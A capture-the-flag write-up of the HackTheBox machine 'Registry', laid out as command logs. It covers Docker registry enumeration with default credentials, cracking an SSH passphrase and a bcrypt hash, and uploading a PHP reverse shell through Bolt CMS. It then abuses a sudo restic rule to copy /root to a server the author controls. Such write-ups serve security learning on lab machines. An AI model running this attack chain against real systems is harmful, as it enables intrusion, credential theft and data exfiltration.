HTB: Registry
Posted on 04 Apr 2020 in security • 13 min read
This is a writeup about a retired HacktheBox machine:
Registry.
This box is rated as a hard box. It was release on October 19 by
thek. It implies a few
rabbit holes, the Docker registry API, the Bolt CMS, and the SUID binary restic
.
[TOC]
Getting user
Recon
Let us start as always by a nmap
TCP scan. The ports 22 (SSH), 80 (HTTP),
443(HTTPS) and 32115 are open:
# Nmap 7.80 scan initiated Thu Nov 28 07:53:01 2019 as: nmap -p- -oA nmap 10.10.10.159
Nmap scan report for 10.10.10.159
Host is up (0.086s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
32115/tcp open unknown
# Nmap done at Thu Nov 28 08:05:18 2019 -- 1 IP address (1 host up) scanned in 737.00 seconds
Let us see what services are running on this ports.
# Nmap 7.80 scan initiated Thu Nov 28 08:05:53 2019 as: nmap -p22,80,443,32115 -sSV -oA services 10.10.10.159
Nmap scan report for 10.10.10.159
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
32115/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 28 08:06:18 2019 -- 1 IP address (1 host up) scanned in 24.72 seconds
Web
On both port 80 and 443 we get the default Nginx home page.
We run a dirb
at it. The tool found a few interesting files in .ssh.
:
authorized_keys
id_rsa
password
Here is the dirb output:
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb_ip
START_TIME: Tue Dec 3 07:40:04 2019
URL_BASE: http://10.10.10.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.159/ ----
+ http://10.10.10.159/.bash_history (CODE:403|SIZE:580)
==> DIRECTORY: http://10.10.10.159/.ssh/
==> DIRECTORY: http://10.10.10.159/fuck/
+ http://10.10.10.159/index.html (CODE:200|SIZE:612)
==> DIRECTORY: http://10.10.10.159/install/
---- Entering directory: http://10.10.10.159/.ssh/ ----
+ http://10.10.10.159/.ssh/authorized_keys (CODE:200|SIZE:395)
+ http://10.10.10.159/.ssh/id_rsa (CODE:200|SIZE:1766)
+ http://10.10.10.159/.ssh/password (CODE:200|SIZE:10)
---- Entering directory: http://10.10.10.159/fuck/ ----
---- Entering directory: http://10.10.10.159/install/ ----
+ http://10.10.10.159/install/index.php (CODE:200|SIZE:1050)
-----------------
END_TIME: Tue Dec 3 08:10:46 2019
DOWNLOADED: 18448 - FOUND: 6
The password
file contain a single "word": awwwwwwww
.
The SSH key is password protected, we extract the hash for john and run it to
find the password: rootroot
.
$ python2 /usr/bin/ssh2john id_rsa > id_rsa.hash
$ john id_rsa.hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
rootroot (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:11 DONE (2019-12-03 13:51) 0.08635g/s 1238Kp/s 1238Kc/s 1238KC/s *7¡Vamos!
Session completed
The SSH key doesn't let us login anywhere. It will prove later than both the SSH key and the password were just a rabbit hole.
subdomain
We take a look at the SSL certificate and we see that there is a interesting sub domain: https://docker.registry.htb/
We run another dirb
at it and found an interesting page:
https://docker.registry.htb/v2
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Nov 28 08:28:46 2019
URL_BASE: https://docker.registry.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://docker.registry.htb/ ----
+ https://docker.registry.htb/v2 (CODE:301|SIZE:39)
-----------------
END_TIME: Thu Nov 28 08:36:36 2019
DOWNLOADED: 4612 - FOUND: 1
This page ask for a basic auth. The trivial admin:admin
creds work.
Docker registry API
The following link is an interesting source to exploit the docker registry API: https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
We start enumerating using the command: _catalog
. The API give use the
available images: {"repositories":["bolt-image"]}
.
(Note: the command are used by appending them to the URL for instance the
_catalog
command is run by getting the following URL:
https://docker.registry.htb/v2/_catalog).
We list the available tags for this image with bolt-image/tags/list
. There is
only one version available for this image: latest
.
{"name":"bolt-image","tags":["latest"]}
We download the manifest for the latest version of the bolt-image docker image
with the command bolt-image/manifests/latest
.
{
"schemaVersion": 1,
"name": "bolt-image",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
},
{
"blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
},
{
"blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
},
{
"blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
},
{
"blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
},
{
"blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
},
{
"blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
},
{
"blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
},
{
"v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
},
{
"v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
},
{
"v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
},
{
"v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "Q25C:2A2S:CDXB:7IXF:ZKDR:DELT:QBCW:XKT5:OT7Z:GQBN:4PG4:UK6K",
"kty": "EC",
"x": "WSj-L3I1ssgS0RChWY0rTb1-N3dZjGpHfwKmvulklM0",
"y": "SUmHvK1PcIZzBkzk34Nn8mzXq2veOpDlECUqVsru3k8"
},
"alg": "ES256"
},
"signature": "W1F9OyNxfyFaljdYUFMnVbcwUIgaJ7wiwfe1JboyRBFsYZGmzWC0n0bkQbGXD7M9P2Bh-D3U0u0AG3zWxEndLg",
"protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMi0wM1QxNDowODoyOFoifQ"
}
]
}
Blobs
We extract the list of blobs and redirect it to a file
grep blob latest | cut -d '"' -f 4 > blob_list
then we download each blob
while read l ; do wget --http-user=admin --http-password=admin
--no-check-certificate https://docker.registry.htb/v2/bolt-image/blobs/$l; done
< blob_list
.
The blob
sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
only
contain a file edited with Vim 8 (there is a vulnerability for this version). But
we do not have access to a Vim for the moment.
In the sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
blob we found a 01-ssh.sh
file containing a password
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
In the blob
sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
we
found a .bash_history
file not containing something interesting.
cd /root/
ls -la
>.bash_history
ls -la
cat .bashrc
ls -la
l .ssh/
cat .viminfo
> .viminfo
ls -la
The blob
sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
contain a few files but nothing of interest.
The blob ` contain a
.bash_history` file.
s aux
ps aux
apt update
apt install git
apt install php
php --ini |grep Loaded
l /etc/php/
l /etc/php/7.2/
apt install nginx
apt install php-fpm
cd /var/www/html/
ls -la
rm -rf index.html
mv index.nginx-debian.html index.html
l
git clone https://github.com/bolt/bolt.git
l
ls -la
cd bolt/
ls -la
useradd -m bolt
cd /home/
l
ls -la
userdel bolt
l
rm -rf bolt/
cd /root/
l
ls -la
mkdir .ssh
cd .ssh/
l
ls -la
vi config
edit config
apt install vim
vi config
ssh-keygen -t rsa -b 4096 -C "bolt@registry.htb"
l
ls -la
cd ..
ls -la
ssh-add /root/.ssh/id_rsa
eval `ssh-agent -s`
ssh-add /root/.ssh/id_rsa
ps aux | grep ssh
l /etc/profile.d/
l /etc/profile.d/01-locale-fix.sh
cat /etc/profile.d/01-locale-fix.sh
cat /etc/profile
l /etc/bash.bashrc
cat /etc/bash.bashrc
l
wd
pwd
ls -la
cat .profile
cat .bashrc
l
vi /etc/profile.d/01-ssh.sh
apt install expect
which expect
vi /etc/profile.d/01-ssh.sh
l /etc/profile.d/
ls -la /etc/profile.d/
sh /etc/profile.d/01-ssh.sh
which spawn
apt install spawn
chmod +x /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
cat /etc/profile.d/01-ssh.sh
ps aux
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh
ps aux
ssh registry
ping registry.htb
apt install ping
apt install iputils-ping
ping registry.htb
cat .ssh/id_rsa.pub
ssh registry
cd /etc/profile.d/
l
cp 01-ssh.sh 02-ssh.sh
vi 01-ssh.sh
ssh 01-ssh.sh
chmod +x 01-
chmod +x 01-ssh.sh
./01-ssh.sh
ps aux
kill 11162 11241 11365
ssh registry
cat /etc/profile
l
cd /root/
ls -la
cat .profile
vi .profile
ps aux
cat /etc/profile.d/01-ssh.sh
vi .profile
eval `ssh-agent -s`
vi .profile
ps aux
systemctl restart nginx.service
/etc/init.d/nginx start
/etc/init.d/php7.2-fpm start
ps aux
l
ls -la
cd /var/www/html/
l
vi sync.sh
chmod +x sync.sh
./sync.sh
apt install rsync
./sync.sh
l
/etc/profile.d/01-ssh.sh
/etc/profile.d/02-ssh.sh
./sync.sh
l
ls -la
rm -rf bolt/
./sync.sh
l
ls -la
cd bolt/
ls -la
cd ..
l
rm -rf bolt
l
ls -la
cat sync.sh
ps aux
kill 11412 11531
ps aux
cd /
ls -la
cd /home/
l
ls -la
exit
exit
The blob
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
doesn't seems to contain anything.
The blob
sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
contain some apt
list.
The blob
sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
contain a full file system. But no passwords in /etc/shadow
.
The blob
sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
does
not contain anything interesting.
The blob
sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
is
quit big there is a full file system in it. In the /root/.ssh/
folder we find
another SSH key and a SSH config file (the /etc/shadow
doesn't contain any
password).
Host registry
User bolt
Port 22
Hostname registry.htb
The SSH key let us connect as bolt on the box.
# ssh 10.10.10.159 -l bolt -i blobs/id_rsa
Enter passphrase for key 'blobs/id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information disabled due to load higher than 1.0
Last login: Tue Dec 3 13:48:57 2019 from 10.10.15.222
bolt@bolt:~$ ls
user.txt
bolt@bolt:~$ cat user.txt
ytc0ytdmnzywnzgxngi0zte0otm3ywzi
Getting root
Enumeration
We start our enumeration.
In /var/www/html/
we found a PHP script used for backup. This script call the
restic
binary with the sudo
rights.
As this is a script the user running it probably don't need to input a
password. As this is in /var/www/html/
this is probably run by the www-data
user.
cat /var/www/html/backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
Bolt archive
We also found a backup archive on the system /var/backup/blot.tgz
. We scp
it on our
box and decompress it. This is a clone of https://github.com/bolt/bolt on the
branch 3.6
. We can check that the commit match with tig
and the github
repository
A git status
inform us that nothing was modify (from git
point of view).
git status
On branch 3.6
Your branch is up to date with 'origin/3.6'.
nothing to commit, working tree clean
So we look at the files listed in .gitignore
.
app/config
The file config.yml
tell us that there is sqlite database named bolt. The
other files does not contain useful information.
head app/config/config.yml
# Database setup. The driver can be either 'sqlite', 'mysql' or 'postgres'.
#
# For SQLite, only the databasename is required. However, MySQL and PostgreSQL
# also require 'username', 'password', and optionally 'host' ( and 'port' ) if the database
# server is not on the same host as the web server.
#
# If you're trying out Bolt, just keep it set to SQLite for now.
database:
driver: sqlite
databasename: bolt
app/database
We can access the database using sqlite3
(which is available by default on a
Kali install). We list the available tables and the data from the bolt_users
and bolt_authtoken
. We got a password hash.
sqlite3 app/database/bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> .tables
bolt_authtoken bolt_field_value bolt_pages bolt_users
bolt_blocks bolt_homepage bolt_relations
bolt_cron bolt_log_change bolt_showcases
bolt_entries bolt_log_system bolt_taxonomy
sqlite> select * from bolt_users;
1|admi|$2y$10$hcuhBWxp7Ypk8Wx.LUpEguihXr60tiDeh46v3cSy7wvKnQSq/Kre2|thek27@gmail.com|2019-05-29 11:02:18|192.168.50.1|Admin|[]|1||||0||["root","everyone"]
sqlite> select * from bolt_authtoken;
1|1||5ce26d1b34ecf3405469c50ef01e044793c71db8da07e4705fc995a0bd964505|05fde348656e16b2589424fb7d175372|2019-05-29 11:02:18|192.168.50.1|Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36|2019-06-12 11:02:18
We can use sqlite> .schema bolt_users
to show the columns name (for the
bolt_users table).
We try to brute force the password has using john. The hash algorithm is bcrypt and the password doesn't seems to be on the rockyou top 10 000 (+ the three passwords found earlier).
Production DB
We are working on the backup database. Let us just get the "production" one. And dump the same table. The hash is different.
scp bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Enter passphrase for key '/root/.ssh/id_rsa':
bolt.db 100% 296KB 65.2KB/s 00:04
sqlite3 bolt.db
SQLite version 3.30.1 2019-10-10 20:19:45
Enter ".help" for usage hints.
sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-12-04 12:58:05|10.10.16.58|Admin|["files://ls.php.png"]|1||||0||["root","everyone"]
2|test|$2y$10$8GeiNSHiL3pAlMyRvjY2seroSOYQnvRKmZxk/iadII3lKPYhsvh1S|a@a.a|2019-12-04 09:09:13|10.10.14.218|testingtege|["files://166912.jpg"]|1||||0||["editor","chief-editor","admin","developer","guest","root","everyone"]
This time john is more efficient and we found the password almost immediately.
john hash -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry (?)
1g 0:00:00:04 DONE (2019-12-04 16:38) 0.2439g/s 87.80p/s 87.80c/s 87.80C/s strawberry..brianna
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Bolt CMS
We go to the bolt login interface.
We connect as admin using the cracked password (strawberry
).
There is a menu to upload some files. But the PHP files are not authorized.
As we are admin we can change this configuration in the "configuration/main configuration" menu.
We just add the PHP files in the authorized extension and save the configuration.
We can then upload our PHP reverse shell (from
/usr/share/webshells/php/php-reverse-shell.php
). Pointing to our local
netcat
running as bolt.
<?php
<SNIP>
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 4343; // CHANGE THIS
$chunk_size = 1400;
<SNIP>
bolt@bolt:~$ nc -l -p 4343
Linux bolt 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:06:37 up 2:50, 2 users, load average: 0.14, 0.08, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
bolt pts/2 10.10.15.63 11:35 2:21 0.01s 0.00s nc -l -p 4343
bolt pts/3 10.10.15.1 13:31 53.00s 0.03s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: all the above operation must be done "quickly" as the bolt's configuration and the uploaded files are reset every few minutes. Once you get the reverse shell the reset won't impact you anymore.
www-data
Now that we are www-data
we can check our previous assumptions regarding its
sudo
rights.
:::text $ sudo -l Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*
We read carefully the restic
documentation.
The most interesting pages are:
* How to backup data
* How to create a new repository
* And more specificaly how to run a REST repository
* The github repository of the REST server
* How to restore a backup
From there we upload a complied GO binary of rest-server from the github project to the box using the bolt SSH account.
We create a directory in /tmp/
, upload our binary and create another
directory for our backups.
bolt@bolt:/tmp$ mkdir ioio2
bolt@bolt:/tmp$ cd ioio2
bolt@bolt:/tmp/ioio2$ ls
rest-server-0.9.7-linux-amd64
bolt@bolt:/tmp/ioio2$ chmod +x rest-server-0.9.7-linux-amd64
bolt@bolt:/tmp/ioio2$ mkdir srv
We imitate the restic
repository in our folder.
bolt@bolt:/tmp/ioio2$ restic init --repo ./srv/
enter password for new repository:
enter password again:
created restic repository b421a8c9a1 at ./srv/
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
We run the server with the debug option.
bolt@bolt:/tmp/ioio2$ ./rest-server-0.9.7-linux-amd64 --path /tmp/ioio2/srv/ --debug
rest-server 0.9.7 compiled with go1.10 on linux/amd64
Data directory: /tmp/ioio2/srv/
Authentication disabled
Private repositories disabled
Starting server on :8000
With our www-data
webshell we put the repository password in a file and
backup the whole /root/
directory.
$ echo lol > /tmp/l
$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ -p /tmp/l /root/
scan [/root]
[0:00] 10 directories, 14 files, 28.066 KiB
scanned 10 directories, 14 files in 0:00
[0:00] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00
duration: 0:00
snapshot 485d9809 saved
Back to our bolt SSH shell we can check the snapshots in our repository (yes I did some test with the bolt user. That's how I discover that I was prompted for password).
bolt@bolt:/tmp/ioio2$ restic -r ./srv/ snapshots
enter password for repository:
password is correct
ID Date Host Tags Directory
----------------------------------------------------------------------
91587cbd 2019-12-05 15:20:31 bolt /home/bolt
bf190199 2019-12-05 15:21:59 bolt /home/bolt
c7702698 2019-12-05 15:23:55 bolt /home/bolt
485d9809 2019-12-05 15:25:06 bolt /root
----------------------------------------------------------------------
4 snapshots
We restore the last snapshot in a new directory. It generate some errors that we don't really care about.
bolt@bolt:/tmp/ioio2$ mkdir rest
bolt@bolt:/tmp/ioio2$ restic -r ./srv/ restore 485d9809 --target ./rest
enter password for repository:
password is correct
restoring <Snapshot 485d9809 of [/root] at 2019-12-05 15:25:06.665521427 +0000 UTC by root@bolt> to ./rest
ignoring error for /root/.bash_history: Lchown: lchown /tmp/ioio2/rest/root/.bash_history: operation not permitted
ignoring error for /root/.bashrc: Lchown: lchown /tmp/ioio2/rest/root/.bashrc: operation not permitted
ignoring error for /root/.cache/motd.legal-displayed: Lchown: lchown /tmp/ioio2/rest/root/.cache/motd.legal-displayed: operation not permitted
ignoring error for /root/.cache: Lchown: lchown /tmp/ioio2/rest/root/.cache: operation not permitted
ignoring error for /root/.config/composer/keys.dev.pub: Lchown: lchown /tmp/ioio2/rest/root/.config/composer/keys.dev.pub: operation not permitted
ignoring error for /root/.config/composer/keys.tags.pub: Lchown: lchown /tmp/ioio2/rest/root/.config/composer/keys.tags.pub: operation not permitted
ignoring error for /root/.config/composer: Lchown: lchown /tmp/ioio2/rest/root/.config/composer: operation not permitted
ignoring error for /root/.config: Lchown: lchown /tmp/ioio2/rest/root/.config: operation not permitted
ignoring error for /root/.gnupg/private-keys-v1.d: Lchown: lchown /tmp/ioio2/rest/root/.gnupg/private-keys-v1.d: operation not permitted
ignoring error for /root/.gnupg: Lchown: lchown /tmp/ioio2/rest/root/.gnupg: operation not permitted
ignoring error for /root/.local/share/nano: Lchown: lchown /tmp/ioio2/rest/root/.local/share/nano: operation not permitted
ignoring error for /root/.local/share: Lchown: lchown /tmp/ioio2/rest/root/.local/share: operation not permitted
ignoring error for /root/.local: Lchown: lchown /tmp/ioio2/rest/root/.local: operation not permitted
ignoring error for /root/.profile: Lchown: lchown /tmp/ioio2/rest/root/.profile: operation not permitted
ignoring error for /root/.selected_editor: Lchown: lchown /tmp/ioio2/rest/root/.selected_editor: operation not permitted
ignoring error for /root/.ssh/authorized_keys: Lchown: lchown /tmp/ioio2/rest/root/.ssh/authorized_keys: operation not permitted
ignoring error for /root/.ssh/id_rsa: Lchown: lchown /tmp/ioio2/rest/root/.ssh/id_rsa: operation not permitted
ignoring error for /root/.ssh/id_rsa.pub: Lchown: lchown /tmp/ioio2/rest/root/.ssh/id_rsa.pub: operation not permitted
ignoring error for /root/.ssh: Lchown: lchown /tmp/ioio2/rest/root/.ssh: operation not permitted
ignoring error for /root/.wget-hsts: Lchown: lchown /tmp/ioio2/rest/root/.wget-hsts: operation not permitted
ignoring error for /root/config.yml: Lchown: lchown /tmp/ioio2/rest/root/config.yml: operation not permitted
ignoring error for /root/cron.sh: Lchown: lchown /tmp/ioio2/rest/root/cron.sh: operation not permitted
ignoring error for /root/root.txt: Lchown: lchown /tmp/ioio2/rest/root/root.txt: operation not permitted
ignoring error for /root: Lchown: lchown /tmp/ioio2/rest/root: operation not permitted
There were 24 errors
In the root directory backup we found the flag as planned.
bolt@bolt:/tmp/ioio2$ ls rest
root
bolt@bolt:/tmp/ioio2$ ls rest/root/root.txt
rest/root/root.txt
bolt@bolt:/tmp/ioio2$ cat rest/root/root.txt
ntrkzgnkotaxyju0ntrinda4yzbkztgw
